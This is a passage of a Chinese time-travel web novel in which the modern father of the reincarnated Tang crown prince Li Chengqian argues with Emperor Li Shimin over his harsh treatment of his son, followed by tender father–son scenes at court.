双方各自落座,李世民率先开口,“明人不说暗话,朕来是有求于先生。” 高慎微敛着眸子,凝神思索片刻,“草民听高明提过,可是为了水师训练的事情?” “先生出身海军行伍,在这个时代,就是水师,听高明说,先生还有三等功的荣誉。想来五年军旅,先生必定是其中的佼佼者,” 高慎微面色凝重,沉默良久才开口:“陛下,时代不一样,未来的训练方式不一定适合当下。陛下一定要的,草民也只能提供一些体能训练呢措施。” 李世民道:“此前同承乾闲聊,对后世有些了解,现有的条件不可能造就那样一支对国家和民族绝对忠诚的军队。所以,朕也只是想知道后世练兵,关于体能训练的措施。” 这个不难,高慎微应下,“我闲暇的时候归纳一下,配上图文,赶在离开这里之前,将东西交于陛下。” 高明热爱的土地,挂记的时代,能帮一把,他又怎会视而不见? “朕替大唐谢过先生。” 天可汗这一拜,他可受不起,高慎微连忙起身避开,“陛下,折寿了,折寿了。” 李世民哈哈一笑,“先生是有大功于社稷之人,若能留在此间,朕必定高官厚禄,奈何先生在此间只百日之期,不过一拜,先生受下就是。” “草民还有一事,要同陛下说,是关于高明的。” 李世民笑容僵了僵,却也只是一瞬,“先生,是要带走高明?” 高慎微摇头,“回来是高明自己要回来的,草民尊重孩子的意愿,不强迫他。” 李世民松了口气,高慎微不掺和进来一切都好说,李承乾是责任心极强的人,除非英年早逝,否则不会有始无终。 “关于承乾,朕也想听听,先生但说无妨。” 高慎微道:“人在遭受巨大的痛苦之后,出于自我保护的本能,会下意识遗忘一些痛苦,却又是不是真的遗忘。高明这孩子的经历太过特殊,他也会潜意识去遗忘上一世的记忆,却又不是真的遗忘。所以,他有的时候看着糊涂,却又一点就透。” “高先生这是怕朕嫌弃承乾愚钝,怕朕觉得他不够资格做太子,怕他受不住朕的磋磨,再一次疯魔?” 高慎微点头,历史上的李承乾最后那三四年,多少有些抑郁症、焦虑症,甚至精神分裂。精神类疾病很容易复发的,谁知道李世民会不会故态复萌。 “先生多虑了,承乾也就是在朕面前看着有些糊涂,在外头他精着呢!朕知道,承乾这孩子一直都是吃软不吃硬,朕有分寸。” 上位从来只看利益,帝王的承诺做不得数,高慎微抬眸向院外看去,还是从高明下手。只有高明自己的心理承受能力够强,才能立于不败之地。 想到来时,李承乾和李象额间的汗,李世民说话语气半带揶揄,“高先生教了承乾和象儿太极拳,可有什么想说的?” 高慎微顿了一顿,轻轻一笑,“唐人好武,果然名不虚传,皇孙小小年纪,就学的有模有样。” “朕问的是承乾!” 高慎微道:“高明比皇孙差些,却也还算不错。” 闻言,李世民忍不住大笑,“高先生,什么叫做还算不错,这样昧良心的话,亏高先生说得出口。” “高明差是差了些,可他已经尽全力去学了,不用心去学是态度和品德问题,用了心思学不会是天分不够。” 李世民私下应该没少嘲讽高明的武事,高慎微思索片刻,意味深长的道:“教化是以人为主体,应该考虑主体个性的偏向,循循善诱辅以训诫,为接受教化的人指明方向,引导他们走向正途。恕草民直言,陛下动辄以言语讽刺,实是背离了教化的方向。” 都是护短,李承乾直接冲到甘露殿同他针锋相对,高慎微想以理服人,李世民嘴角不觉勾起笑意,李承乾骨子里还是像他。 “承乾幼时吃药,要高先生哄着吗?” “生病正是脆弱的时候,娇气些在所难免。不瞒陛下,就是草民这个年纪,有些时候还要同家父斗斗嘴。” 高慎微是下意识维护,却在无意间捅了一刀李世民,在李世民心里,他做儿子父亲偏心兄长,做父亲儿子心中他是东家。 “高明这孩子,自幼就懂事的让人心疼,草民养了他二十八年,从未要求过什么,因为他从来都是尽善尽美。” 李世民听得心抽搐,李承乾在他面前从来不会懂事的让人心疼,气到他心口疼是真的。 李承乾求倒是没求过什么,尽善尽美也有过一段时间,到后来是恨不能闹的天翻地覆。 “二十八年,高先生也不操心下他的婚事。” 高慎微沉思片刻,隋唐贵族男子十二岁就房事启蒙,十五六岁成亲的比比皆是,李世民有这个疑惑不奇怪, “男女婚事,讲究一个缘分,草民不强求,随缘。” 李世民道:“那朕可真得谢谢高先生了,承乾那样优秀,再给朕生个天赋异禀的孙儿,朕见不到,还要听孙儿唤他人阿翁,那可真是太糟心了。” 高慎微笑容在嘴角凝滞了一瞬,李世民好胜心和报复心都很强啊! “承乾,那个不学无术的小魔星,在高先生那里过得还好吗?他若是胡作非为,高先生只管动手责罚。” 于他而言,承乾是他的儿子,高明是他儿子的转世,也是他的儿子。 于高慎微而言,高明是亲子,承乾只是一个霸占了亲子身体的孤魂野鬼。 顶着高明的皮囊,高慎微多半不会对承乾做什么,到底是他的儿子,他又怎么会不心疼? 高慎微是否能像他善待高明那样善待他的承乾,始终如一呢? 不学无术? 胡作非为? 高慎微愣住,沉默了半晌才开口:“陛下,草民知道,承乾做过一些糊涂事,但他是个好孩子,他骨子里和高明一样,好学、恭顺、谦和、温润,不是是不学无术之辈,更没有胡作非为。” 李世民低头抿了口茶水,好学、恭顺、谦和、温润,那是承乾吗? 第175章 高父的疯狂输出 “高先生,做人不要睁着眼睛说瞎话。” 高慎微:??? “陛下何出此言?” “好学、恭顺、谦和、温润,不管哪一个都和承乾不沾边儿吧?那个孽障……” 见面到现在,李世民几乎一直在贬斥高明,高慎微终于忍不下了,直接出言打断。 “史书上记载,早年的承乾太子以孝顺聪慧闻名,孝顺之人怎会不恭顺? 陛下怜他病弱,让他不必太过刻苦学习,他没有因为陛下施恩懈怠,反而更加刻苦认真,这不是好学是什么? 太子少师李纲有足疾,他每次来上课,承乾太子迎出大殿,亲自搀扶师傅上座,这不是温润谦和是什么? 说着这么久的话,陛下自始至终都在贬斥承乾太子,认为他一无是处,废太子的诏书更是骂的他体无完肤,好像他生在这个世界,就是一种莫大的罪孽。 敢问陛下,承乾太子是否一开始就那般的不堪?若他一开始就那样的不堪,那么陛下为何要在史书之上美化这么一个不堪之人? 大唐的皇帝陛下,天可汗,你选择继承人,就选择了一个畜生不如的东西? 若史书无误,那么至少在贞观十三年之前,承乾太子还是一个谦和恭顺,聪慧好学,监国有方,朝野称颂的好太子。 陛下,是谁纵容下属欺辱于他?是谁无视他被朝野臣工践踏?是谁暗示魏王泰不择手段的夺嫡?是谁将他的孺慕之情踩在脚下? 我今日见李象,发觉他眼底私有讨好之意。李象才八岁多,不到九岁,他本该天真无忧的年纪,却学着讨好别人。 陛下可知,看到李象,我想起幼时的高明,那时的高明,眼底也有若有若无的讨好? 人为何会去讨好,因为恐惧,高明恐惧什么我不得而知,我也不敢问,生怕不小心触及他的痛楚弄巧成拙,反而伤了他。 我和家中妻子,拼了命的挤出时间,翻阅心理学著作,试着接触他的内心,为他开导蒙昧,驱散迷雾,引他走上正途。 我借助我和母亲权力,岳家和父亲的金钱,游走在校领导之间,为他创造更好的学习环境。 我们夫妻尽可能的抽出时间,陪伴他的成长,带他走遍山河湖海,治愈他隐藏在内心深处的阴郁。 看到李象眼底的讨好,不知陛下心中作何感想,我心如刀绞,因为那是高明的来时路,我的孩子他曾经受过那样的痛苦 孩子走错了路,你除了骂他,贬斥他,你还做了什么?你从来不反思自己。帝王无错,你就自欺欺人的以为,自己真的不会犯错吗? 羞辱贬低自己的孩子,还纵容外人去践踏自己的骨肉,你我都是为人父母,你的心肠怎么就这么硬? 若说帝王天生冷心冷肺,那么你为何敬重你的大臣?为何那样疼爱魏王李泰?你真的不会做父亲吗?若你真的不会做父亲?你是如何养的李治? 你对那些大臣的宽容,对李泰和李治的宠爱与耐心,有几分用在了承乾太子身上? 你把你对高祖的怨恨,对李建成先入为主的不甘,用毁掉承乾太子,证明嫡长子继承制是错误的。 我们夫妇养好高明,也养好了承乾太子,大唐的皇帝陛下,你不应该反思自己在教育上的失败吗?不应该思考,该如何教育你那些未成年的儿女吗? 你没有,反而在这里贬斥承乾太子不堪,逮着高明的身体不好在这里嘲讽。陛下,你不觉得你本末倒置了吗?” 李世民双眸通红,宛如暴怒的老虎,一双鹰隼利眸直勾勾盯着高慎微。 “高先生,你怕死吗?” 高慎微神色淡漠,开口道:“以我的拳脚功夫,在您拿下我之前,我可以自尽,不会让你生不如死的折磨我。提前死了,我也就提前回去了,本来就是借尸还魂,高慎微一开始就是个死人,我没有任何损失。” 李世民气急,抬手一扫,案上的茶具落地,飞溅的瓷片四散,带出一片狼藉。 高慎微持续输出,“你这个史书上最爱哭的皇帝,晋阳公主去世你哭了数月,豫章公主去世你为她服丧哭泣。承乾太子去世,你为他落了几滴泪? 史书上只说你以国公之礼下葬了他,为他罢朝。你知道他最在乎母亲长孙皇后,却连将他迁回长安下葬都不愿意。 太宗文皇帝,史书上大写特写你爱子,魏王有你的宠爱,李治有你的宠爱和权势? 承乾太子有什么?黔州的枯骨?还是他贞观十七年,贞观十八年,贞观十九年,三个扑朔迷离的死亡时间? 你现在是不是觉得你将承乾太子宠上了天,你觉得你弥补了承乾太子? 高明,作为承乾太子的转世,他就该感恩戴德,无视你过往对他的践踏和羞辱,同你演一出君臣和睦,父慈子孝的大戏? 可是,转世为高明的承乾太子,还是最初的那个承乾太子吗? 陛下,倘若高明没有那一身学识,你还会珍惜承乾吗?你害怕他的离开,究竟有几分父子情义?还是说,归根到底,是君王怕帝国失去一个当牛做马的工具?” 话说到这里,高慎微掩面痛哭,“高明不肯告诉我,他是怎么回去的,还是承乾告诉我,他一过去,我的高明浑身是伤。” 李世民羞愤不已,却又被事实被堵的哑口无言,伏在凭几上泣泪不止。 里面吵的红温,李承乾带着李象打太极拳一无所知,他习武有些日子,却从来没有像今日这般专注。 老爸养了他二十八年,又养了他的第一世三年,三十一年父子情义,这还是父亲第一次要求他学习。 别说打个太极拳,就是让他去打皇帝,他也能把脑袋别裤腰上去跟皇帝对掏。 李象端了茶水上前,耐心等着父亲打完前八式拳法,上前将茶水递上,“阿耶,喝水。” 李承乾接了茶水,却是没有自己喝,蹲下身子喂给李象,“为父这把年纪,知道怎么照顾自己。倒是你,还不到九岁的娃娃,照顾好你自己阿耶才安心。” “阿耶,儿肚子好饿,是不是该喊两个阿翁用膳了?” 李承乾思索片刻,命人摆膳,他去请皇帝和老爸来正厅用膳。 “老爸,你……你……” 李承乾三步并做两步扑上去,旋即看向同样红着眼眶的李世民,愤愤开口:“陛下,你对我爸做了什么?” 李世民气的胸口起伏不定,今天是单方面被人骂,高慎微那张嘴巴,不比魏征逊色半分。 “承乾,我们两个都是你的父亲,你不觉得你偏心的太过分了吗?” 第176章 往事不可追 看李承乾发难皇帝,高慎微心下一紧,他此前说的话,高明是左耳朵进,右耳朵出了。 “外头的人,都说陛下疼你,我还不信,这回是真信了,否则怎么敢这么无礼?” 闻言,李承乾意识到自己方才言语上的冒犯,赶忙向皇帝致歉,“臣关心则乱,请陛下恕罪。” 降罪是绝对不可能的,他可不想上赶着受罚。 李世民被高慎微骂了一顿,此刻正是火大,结果儿子一上来不分青红皂白的指责,这口气就憋的更难受了。 本欲发作,一想到高慎微,又生生压下,真骂了李承乾一顿,李承乾还不得更加念着这姓高的。 万一李承乾想要离开,他敢保证,这姓高的立刻就会把他的儿子,大唐的太子拐走。 成大事者,不拘小节! 忍! “我想知道你小时候的事情,就问陛下,谈到动情之处,控制不住眼泪。” 李承乾跟着装糊涂,上前挽住老父亲,“爸,您给陛下骗了,我小时候跟陛下相处的不多,他怎么会知道我小时候的事情?您真想知道,我慢慢儿给您讲。” 李世民几欲吐血,他之前想知道李承乾幼时过往,李承乾一句往事已矣,不必再谈。高慎微想知道,李承乾满脸谄媚上去献殷勤。 “老爸你不知道,我小时候,那可是出了名的调皮捣蛋,几乎天天和人打架。” 高慎微敲了下承乾额上,“是吗?” 李承乾道:“老爸你别不信,我在学校里乖,那是没人惹我,有人招惹我,我一向都是以牙还牙的。” “怎么会呢?我们明明一直都是个好孩子,我怎么会不信明明?” 突然被叫起了乳名,李承乾低头面颊绯红。 李世民心下憋屈,实在待不下去,“朕宫中还有要务,先行离开了。” 皇帝走了,意味着他可以和父亲单独相处,李承乾心下大喜。 “爸,你先去正厅等我,我送陛下出去。” 目测皇帝现在不想见他,高慎微点点头,目送高明送皇帝出门。 “承乾从前总说朕偏心,现在看看,到底是谁偏心?” 他和父亲的相处,刺激到了皇帝,李承乾不想掰扯,只道:“陛下,从医学角度上看,人心本就不是长在胸口的正中央,大多数偏左,也有少许偏右。” 他们父子都是装糊涂的高手,李世民皮笑肉不笑看了李承乾一眼,拂袖上了车驾。 “太子妃有身孕,在外面不要玩儿的太久,早些回东宫。” 李承乾点头应下,拜过皇帝,目送皇帝马车离开,这才回到高宅。 用过膳,打发走李象,父子单独相处,李承乾忍不住发问,“您和陛下吵起来了?” 高慎微轻轻点头,瞒不过高明,也就没必要欲盖弥彰。 “这个你还是不要过问了,一代人有一代人的处事方式,你作为晚辈,避讳些也少些烦恼。” 父亲是学马哲的,辩证法思维,主打一个以事实为依据,进行观点论述,吵起架来,吃亏的绝对不是父亲。 “陛下这个人很记仇的,您这次气的他不轻,往后可别让他逮着话柄,您是不知道,他和我那个便宜舅父挖苦魏师傅,那真是无所不用其极。” 高慎微道:“听你的语气,你很是敬重魏征?” 李承乾点点头,“我有很多师傅,魏师傅是不一样的。陛下盛宠李泰,李泰咄咄逼人时,只有他和他的学生褚遂良维护过我。 世人都说我奢靡享乐,挥霍无度,可李泰的俸禄是我数倍,那占尽一坊之地的芙蓉园,富丽堂皇,珍贵宝器数不胜数,却无人发一言。 母亲疼爱我,一来我是他第一个孩儿,二来我一旦被拉下太子之位,必定下场惨淡,不择手段夺嫡之人,上位之后又怎会对其他兄弟姊妹留情? 母亲是经历过玄武门的人,她心知肚明,他知我的秉性,更知道,只有我顺利登基,她和父亲其他子女才会最大可能平稳落地。她对我维护,有母子之情,也有为大局考虑的必然。 魏征与我没有血缘关系,他也不是我提拔上去的,我知他的维护与我本人无关,他维护是嫡长子继承制度。可凡事论迹不论心,他终究是为数不多护着我的人。 拜师宴事件,房玄龄践踏的何止是太子的脸面,更是皇家的脸面,皇帝对比视而不见,落在朝野众大臣眼底,皇帝对太子的厌恶,已经厉害到不在乎皇家颜面了。 拜魏征为太子少师时,李泰已经住进武德殿,朝野大臣议论纷纷,觉得我这个太子被废是迟早的事情,我也是这么觉得。 那样的情况之下,接受太子少师一职,一旦我被废黜,他会晚节不保,可他还是毅然决然接受了。 那个时候,我已经起了反叛之心,无论成功与否,我都要恶心一把我那高高在上的父亲。 谋权篡位上来的老逆贼,生了一个想要复刻他玄武门的小逆贼。 得知魏征要做我的太子少师,我对他的态度很恶劣,我想让他知难而退,不想连累他。 本小章还未完,请点击下一页继续阅读后面精彩内容!他当时病重,完全以此推脱,可他没有。承乾这一生,被人坚定选择的不多。母亲、魏师傅、象儿、太子妃,也就这么几个了。” 高慎微内心陡然生出一股酸涩与悲凉,承乾太子幼时,父亲忙于征战和夺嫡,很少关注到这个孩子。 母亲疼爱,可母亲的孩子不止一个,又要游走与人来送往,为夫君拉拢政治资源,能分给承乾太子的精力少之又少。 没有在爱中长大孩子,长大之后又是一路坎坷,别人给予的善意,就能让那个孩子感恩戴德一辈子。 “是爸爸没用,爸爸若是早一些把你接回去,在你没有展露才华之前就带你回去,你也不至于被捆绑住。” 李承乾笑道:“说不定我的寿数会止步于贞观十七年,也说不定古今时空的时间是扭曲的,我在这里完成使命之后,回去以后爸爸你也才退休。” 高慎微轻拍高明背心,“都说君无戏言,太子是小君,就借太子殿下吉言,来日我们父子相见,一切都如当初。” 李承乾顺势滚到父亲怀里,蹭了又蹭。 “爸爸,我想听你唱歌了。” “好,那明明想听哪一首了?” 李承乾翻起身来,问道:“府上有琵琶吗?我给您伴奏!” 唐人好胡乐,家中常备琵琶等乐器,找来并不难。 李承乾旁人唤了李象过来,他弹奏琵琶,父亲高歌一曲,儿子做听众。 多年以前,也是这般,祖父母朗诵诗歌,父亲和母亲伴奏,不过那时的听众是他。 往事,终不可追忆! 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第177章 皇帝变了 太阳西斜,纵有诸多不舍,李承乾也必须带着李象离开,高慎微亲自将人送出门,目送儿子的车马离开。 “阿耶要是难过想哭,儿可以抱着阿耶哭,有委屈了就要哭出来才好。” 李承乾大为震惊,不可思议看着李象,皇帝爱哭的毛病,这是隔代遗传了吗? “象儿,你经常哭吗?” 李象不好意思的垂下头,回父亲的话:“也不是经常,阿耶和父王换回来那次,儿以为再也见不到阿耶了,就躲在被窝里偷偷的哭。有的时候心里不痛快,也会偷偷的哭。” 李承乾心疼的搂住李象,眼泪不觉落下,满了十五岁,李象就要去就藩,不敢想象到时候李象会哭成什么样子。 “傻孩子,有阿耶在,心里头不痛快要告诉阿耶,阿耶会保护你,绝不让任何人欺负你。” 李象道:“那都是很久以前的事情了。” “那象儿现在还会躲在被窝里偷偷的哭吗?” 李象十分诚实的点头,“阿耶来了之后,儿哭的少了。” 李承乾很是不解,思索片刻,想到之前他一股脑想把全家流放岭南的黑历史。 “阿耶有的时候做决断,可能没有考虑到象儿,心里都不舒服就告诉阿耶,阿耶会充分考虑你的意愿。” 李象道:“阿耶来了之后,儿偷偷的哭,是因为阿耶对儿太好了,儿觉得自己实在是太好运了,有这么好的阿耶。” 李承乾叹气,泪腺发达的人,爱哭是一种生理本能,理解! 回到东宫,天色尚未暗下来,李承乾照旧去丽正殿打卡,苏氏见不见他另说,至少宫人眼里他和太子妃齐眉举案。正妻该有的体面,他必须给足苏氏。 从丽正殿到崇贤馆,辅导完李象的功课,整理魏叔玉、房遗直等人找出来的文献。 “那个时代的人,都和你一样精力旺盛吗?这么能干吗?” 李承乾抬头去看,心下疑惑,天色已晚,皇帝没事儿来东宫做什么? 女人当男人用,男人当永动机用,全方位卷到升天的时代,随便拉出来一个,都是好牛马。 “拜见陛下!” 李承乾起身见礼,李世民径自在主位落座,拿起李承乾的手稿看。 “你这休息的也够久了,该去上朝了。” 李承乾:??? “陛下,您批复给臣的假期还有六日。” 李世民轻笑,“提前上朝,适应一二。” 上班这种事情,还需要适应吗? 皇帝果然是出了名的小气,父亲就在这里百十来日,搞得父亲是过来篡权夺位似的。 “假期结束了,臣保证按时上朝,不让您为难。” 李承乾十分狗腿的上前,为了能天天见到老爸,皇帝是坚决不能得罪。 “陛下,臣给您揉揉肩呗?” 李世民挑眉,小崽子为了去见姓高的,也是拼了,都给他献殷勤了。 皇帝没有开口拒绝,李承乾默默上前,为皇帝按摩两肩。 “我爸若有冒犯之处,父债子偿,陛下处罚臣就是了,千万别为难我爸。” 稍微好了那么些许的心情又不痛快了,“一些口角争执,朕不至于为了这么点儿小事为难人。” 李承乾都不想吐槽,不在乎口角争执,那是谁逮着魏征挖苦? “承乾,你之前同高先生进行学术论辩,赢过吗?” 李承乾摇头,“您别跟我爸发生口角争执,他是学马哲的,以事实为依据,进行辩论,只有村口的大妈能有一战之力。” “这是为何?” 未来男的都这么废物吗? 吵架要女的上? “村口的大妈蛮不讲理,且不在乎脸面。我爸是秀才,村口的大妈就是兵痞。” 李世民:…… 明白了,要对付高慎微,就得不讲理且不要脸,不讲理他可以办得到,不要脸太难为他了。 “你胳膊肘往外拐就算了,怎么还要把象儿带去?” 李承乾抿着唇不语,李象是他的儿子,出去见见祖父很合理。 “你给人揉肩,还是颇有力道得,怎么打个拳那么……那么难呢?” 险些脱口而出不堪入目,李世民暗道:好险! 李承乾叹了口气,父亲评价他的太极,就差没直接说,坐小孩儿那桌。 “臣这一次会全力以赴的!” 李世民冷笑,因为负责教导的人是高慎微吗? “朕让人传话,明日高先生进宫,你不用出宫了。” “陛下,家父一把年纪……” “什么一把年纪?”李世民转过身来看向李承乾,“高柏多大年纪朕不知道,那高慎微才四十,比朕还小一岁呢!” 李承乾道:“臣年轻力壮,哪有让老人家舟车劳顿的道理。” “年轻的确年轻,至于力壮……” 李承乾:…… 嘲笑他的体格不够,李承乾无所谓了,虱子多了不怕痒,关于他“小胳膊小腿且易碎”的人设,暂时是没办法改变了。 “高先生进宫陪你,此事就这么定下了。” 李承乾心下冷笑,皇帝这是怕他跟着父亲离开,又不好直接同他撕破脸,索性将人弄到宫里头来,放在眼皮子底下求个安心。 这章没有结束,请点击下一页继续阅读!“臣听陛下,明日一早派人去接我爸。” 李世民道:“礼部定了五月十九,送文成公主和亲,到时候你陪着朕去送。” 李承乾点点头,汉民族最早一批援藏干部,还成为后世汉藏民族团结的精神象征。 “听你的,文成公主的陪嫁只有诗书、佛经等典籍,各种金银玉器,以及乐舞巫医等匠人。技术类的书籍和匠人,一概不给。” 李世民无意间打翻了茶水,方才写好的手稿被水浸得湿透,李承乾瞳孔一阵猛烈地震。 “臣的手稿……” 李承乾慌忙将东西抢出来,但已经没什么用了。 “承乾,为父不是故意的……” 刚才只顾着说话,忘记手边有茶水。 “没事儿,反正明天你不上朝,重新写一份儿就好了。” 皇帝是来通知他上朝的,这一次失手,皇帝心虚怕他闹脾气,这是退了一步,他不用提前上朝了。 “要不,你口述朕亲自录一份补给你?” “不……不用了……” 弄坏他的东西,知道补给他? 这是他认识的皇帝吗? 按照惯例,这个时候皇帝应该说:知道案上有文稿,谁让你把茶水放这里的?自己不小心,还要来攀扯朕? 父亲到底说了些什么,把皇帝“洗脑”了? “臣自己录一份,陛下也累了一天,快些回去歇着吧!” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第178章 高父进宫 “好,那朕先回去了。高先生进宫的事情,不用费心,为父派人去接高先生。” 这是非之地,李世民是一刻都不想待。 李承乾小心摊开被水浸湿的手稿,又重新抄录了一遍。 李世民说到做到,翌日天色破晓,高慎微就被接到东宫。 父亲来了,李承乾将人迎入显德殿,“这就是我住的地方,您将就着看吧!” 高慎微一路进来,看了太子的殿宇,摇头叹气,“总有人想穿越回古代当公主、当皇子王爷,做太子,还是见识不够啊!” 李承乾扶着父亲上座,高慎微选了右侧下首的第一个位置坐下,“这主位我坐不得,你也坐不得,今日有人来坐。” “您说陛下,他十有八九会来。”李承乾起了炉子,烧水烹茶,“唐人茶汤剽悍,老爸你刚来估计都不怎么能适应。” 高慎微笑道:“没有这剽悍的茶汤,茶怎么能排到油盐酱醋后面?” 李承乾拊掌喝彩,“文化是社会现实的反应,这么一说,真是这个理。” “好在你不怎么玩手机,不然的话,来这里三年,都怕你患上抑郁症。” 李承乾笑道:“另一个我,应该玩儿的挺欢。” “哦?”高慎微饶有趣味的问:“明明怎么知道的?” “放下个人素质,享受缺德人生。这话一听就是某音、某吧里才有,自古评论区出人才。” 高慎微看着儿子,满眼都是心疼,李世民眼里的逆子,却是他全心全意疼了几十年的儿子。 “这句话虽糙,但理不糙。我家明明若是少一些素质,缺一些担当,段不会来这里受罪。” 闻言,李承乾心里也是不好受,他待在这里,现代的父母无时无刻不在担惊受怕。 高慎微见状,连忙转换话题,“看样子,你和他聊的不错,承乾在我面前总是一板一眼,规规矩矩的。跟我说说,承乾那有趣的灵魂。” “怎么说呢!”李承乾一番思索过后,向父亲道:“那个我,有一种生吃见手青的疯感,精神状态给人的感觉就是云南那条鬼迷日眼的吉祥物大滇蛇。” “这个形容……”高慎微忍不住伏在案上笑,“恰如其分,恰如其分!” “您猜那个我是怎么跟皇帝说话的? 皇帝给李治执妾礼,武周朝的小李后,直接把皇帝气到吐血。他还问皇帝,这李弘出生,是该把皇帝喊阿翁还是喊父亲。” 高慎微暗暗咋舌,真是亲儿子,知道老父亲的痛处在哪里,刀刀往李世民心口捅。 “谈到我给太子妃腹中孩儿起名,他直接来了:父亲既然想要他继承大统,就给他起名李玄武,这才叫继承!又说皇帝的年号,叫什么贞观,直接叫玄武门。” 高慎微叹气,“说这样的话,皇帝没有杀了他,说没有父子之情肯定是假的。皇帝对他这个嫡长子,感情很是复杂啊!” 古人成亲代表成年,能够独立且合法参与社会活动,皇帝在贞观六年就下诏十三岁李泰成亲,算算这个时间点,正好是李承乾第一次监国。 或许,皇帝一开始扶持李泰,只是为了玩儿制衡,架不住李泰嘴甜会来事,制衡逐渐偏向易储。 贞观十年之后李承乾跛足残疾,李世民易储之心愈发的明确,给李泰的宠爱越来越离谱。 贞观十三后,李承乾在内外压力之下不堪重负,精神出现问题,李承乾的人生轨迹,被废是迟早的。 高慎微心中不安更重,承乾在他膝下时,他带承乾看过心理医生,抑郁症、焦虑症一个不少。 精神病难治愈,易复发,高明眼下很健康,往后呢? “爸,您这愁眉不展的,是担心我和从前一样,不堪重负,最后成了个疯子?” 高慎微点点头,“精神疾病有一定的遗传性,北齐高氏皇族就是个有精神病史的家族,渤海高氏源于北齐皇族。” 父亲的担忧不无道理,李承乾捧了一盏茶汤的奉给父亲,“父亲放心,他抬举谁我都不至于疯。他做的一些事情,我可能会心痛,却不再会为他的一言一行,担惊受怕,寝食不安,更不会小心讨好逢迎他,他的喜怒哀乐牵动不了我分毫。” “轮回之中,你吃了不少的苦吧?” 李承乾微垂着眸子,压下内心酸涩,皇帝那么两下子父亲都心疼的不行,知道他的过往,父亲指不定会难受成什么样子。 “从古至今,皇帝换了多少代,只有一个的现实从来不变。那就是百分之五的富人,占据着百分之九十五的资源。余下百分之九十五的人,抢夺那百分之五的资源。” 高慎微垂眸不语,高明转世在这百分之九十五的人里头挣扎,科技高度发达的时代,好好活着尚且不易,何况是社会生产力低下的封建时代。 “明明,无论你做出任何选择,爸爸都会尊重你的选择。你知道的,精神类疾病复发率极高,爸爸真的怕你不堪重负。” 李承乾沉默片刻,看着父亲满是忧心的面容,他深吸一口气,有些事情可以告诉父亲,父亲会心疼他,可一时的心疼,总好过回去之后日复一日的担忧。 “现代对吃人这个话题,每每提起都会觉得毛骨悚然,只是科技发展解决了人们的温饱问题,若没有这个前提,什么朊病毒,在活着面前一文不值。 兵荒马乱的年代,生产停滞,没有粮食,人就是军粮。同类相食为人不齿,所以菜人贩子多会先拔掉菜人的舌头,让他叫不出来,然后从四肢到躯干,一点点的分割售卖。 卖的人掩耳盗铃,买的人自欺欺人,都认为自己手上提着的是菜不是人。痛苦和绝望,都留给菜人。” 高慎微闻言,心口阵阵绞痛,抱着脑袋伏在案上,肩膀不受控得颤抖。 “崩溃到极致,又因为不断轮回的现实,被迫将碎掉的自己一片片粘合,修复成完整的人。爸爸,我没有那么脆弱,您不用为我担心,收拾完这里的烂摊子,我就回去陪您。” 李承乾凑了过去,“爸爸,抱抱我呗?” 高慎微擦了眼泪,将高明拥入怀里。 一只脚踏进显德殿的李世民,被眼前的一幕刺激的有些难受。 “李承乾,你一把年纪了,往人家怀里蹭,你羞不羞?恶不恶心人?” 李承乾抬起头,看向皇帝,这个表情,想杀人啊! “又没蹭陛下,恶心的也不是陛下,您至于把话说得这么难听吗?” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第179章 法师VS坦克 高慎微心下一抽,高明显然没意识到问题的本质。 李承乾对着皇帝拜了一拜,“您怎么过来了?不上朝吗?” 李世民冷哼一声,没好气道:“今日休沐你不知道?” “那您昨夜跑过来,说什么从今日开始,要臣上朝?” 李世民白了眼李承乾,“说让你今日开始上朝,不是说让你今日上朝。就你这个理解能力,还做今年制考主考,到时候别丢朕的人。” 李承乾不甘示弱,当即回怼:“陛下这么瞧不上臣,那臣哪儿来回哪儿去就是了,您仇家应该不少,安排一场仇杀弄死太子不难。” “那你现在就滚,就滚回你的未来去,各归各位,大家都省心。” 李承乾沉默片刻,“行,百日之后我跟我爸走。” 李世民拳头捏的咯咯响,气的双眸通红,死死盯着李承乾。 “你这么有骨气,就别在这宫里头住,出了这东宫,才算你的本事。” 李承乾冷笑,“陛下是觉得臣放心不下李象,太子妃又马上临盆,就能由着陛下威胁? 臣可以不住东宫,反正过两天上朝,大臣问起,臣就说陛下不让人臣住东宫。” 一言不合就吵成这样,简直是冤家,高慎微下场和稀泥,“陛下一把年纪,不也写了《两度帖》?高明这副身体是承乾的,灵魂是转世而来的承乾,算起来是父子一脉相承。” 李世民也怕玩儿大了,真把李承乾逼走了,顺坡下驴,“他有雉奴一半贴心就好了。” 李承乾掩面轻笑,雉奴那可不是一般的跟父亲贴心。 李世民面颊瞬间绯红,难堪至极,一时嘴快忘记了李治干的好事儿。 “高先生在这里,朕来找高先生说话,有你什么事情,自作多情。” “您跟我爸又不熟,有什么好聊的?” 李世民挤出笑来,“大人说话,跟你个小孩儿没关系,出去找象儿玩儿去。” “臣要跟我爸学太极拳。” 李世民道:“不急,用过早膳再学。” 看这个样子,皇帝一时不会走,李承乾看向父亲,“爸,我现在的手艺和妈差不多一样好了,我亲自下厨,待会儿您多吃一些。” 高慎微含笑点头,李承乾拜过皇帝,退出殿外。 李世民心下窝火,径直在主位上落座,“承乾竟然没让先生坐主位,出乎朕的预料。” 高慎微轻笑,“知道陛下要来,主位自然要给陛下留着。” 李世民道:“女儿家娇养,儿郎哪有先生这般娇养的?” “陛下听过菜人吗?” 李世民笑容僵住,心口闷闷的抽痛。 “知道,战乱时期被当成食物的人,朕见过那种惨象,先生高才,想必知道那个食人魔朱粲,就是朕下令处决的。” “高明的来时路,也有这么一劫。” 李世民的心仿佛被人捅了一刀又一刀,高慎微开口问菜人,他就想到了承乾。 “高明的过往,我想他一定疯过,疯的比承乾太子在贞观十四年之后更厉害。从地狱而来,却没有变成害人的恶鬼。他身上的担当不曾被磨灭,反而添了对苍生的怜悯。我心疼他的经历,更骄傲他的蜕变。” 李世民紧闭双眼,强忍眼泪,姓高的都没哭,他就是哭也不能在姓高的面前哭。 高慎微叹气,“顺天意轮回千年,经百世难了因果。诸般枷锁困真我,至今不知我是我。” “前两句朕听明白了,诸般枷锁困真我,至今难知我是我。敢问先生,何解?” 李世民猛地睁开眼睛,眼泪滚珠一般落下,顿觉尴尬无比,急忙拿手去挡,无奈袖子太短,挡不住。 “让先生见笑了。” 李世民尴尬不已,慌忙擦了眼泪。怪不得李承乾总穿广袖,往后也换广袖。 